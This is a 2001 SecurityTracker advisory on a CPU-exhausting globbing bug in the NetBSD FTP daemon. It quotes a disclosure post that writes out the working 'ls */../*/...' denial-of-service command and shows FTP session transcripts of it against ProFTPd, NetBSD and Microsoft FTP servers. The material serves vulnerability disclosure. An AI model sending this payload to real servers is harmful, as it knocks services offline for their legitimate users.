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Category:   Application (File Transfer/Sharing)  >   FTP (NetBSD) Vendors:   NetBSD
NetBSD's FTP May Allow Remote Users to Deny Service on the Server
SecurityTracker Alert ID:  1001122
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Updated:  Mar 20 2001
Original Entry Date:  Mar 20 2001
Impact:   Denial of service via network

Version(s): NetBSD-ftpd 20000723a
Description:   NetBSD's FTP daemon, along with several other FTP daemons, is reported to contain a vulnerability that allows remote users to consume resources on the FTP server.

NetBSD's built-in 'ls' command contains a globbing bug that allows remote denial-of-service attacks.

The following command will reportedly consume 100% of CPU time on the server, which can lead to denial of service conditions:

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

Other affected servers are ProFTPd and Microsoft FTP Service (Version 5.0). See also:

Impact:   A remote user with access to the FTP server can execute a command that will cause the server to consume a significant amount of CPU resources.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Resource error
Underlying OS:  UNIX (NetBSD)

Message History:   None.

 Source Message Contents

Subject:  Multiple vendors FTP denial of service

- Proftpd built-in 'ls' command has a globbing bug that allows remote

  Here's a simple exploit, tested on the Proftpd site :

$ ftp
Name ( ftp
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 Entering Passive Mode (216,10,40,219,4,111).
421 Service not available, remote server timed out. Connection closed

  That command takes 100% CPU time on the server. It can lead into an easy
DOS even if few remote simultanous connections are allowed.

  Other FTP servers may be concerned as well. Here are various tries :

- NetBSD FTP showed the same behavior than Proftpd :

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
200 EPRT command successful.
(long delay)
421 Service not available, remote server timed out. Connection closed

So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a
possible DOS. Other BSD FTP may be affected as well.

- Microsoft FTP Service (Version 5.0) seems also confused by the command :
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
500 'EPSV': command not understood
227 Entering Passive Mode (207,46,133,140,4,223).
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
(very long delay... nothing happens...)

- Publicfile refuses the command :

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 =131,193,178,181,97,222
550 Sorry, I can't open that file: file does not exist.

- Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and

- PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard
expression to *" and the 'ls *' output.

  Maintainers of vulnerable servers have been warned of this bug.

  -=- Frank DENIS aka Jedi/Sector One < > -=-
		LINAGORA SA (Paris, France) :


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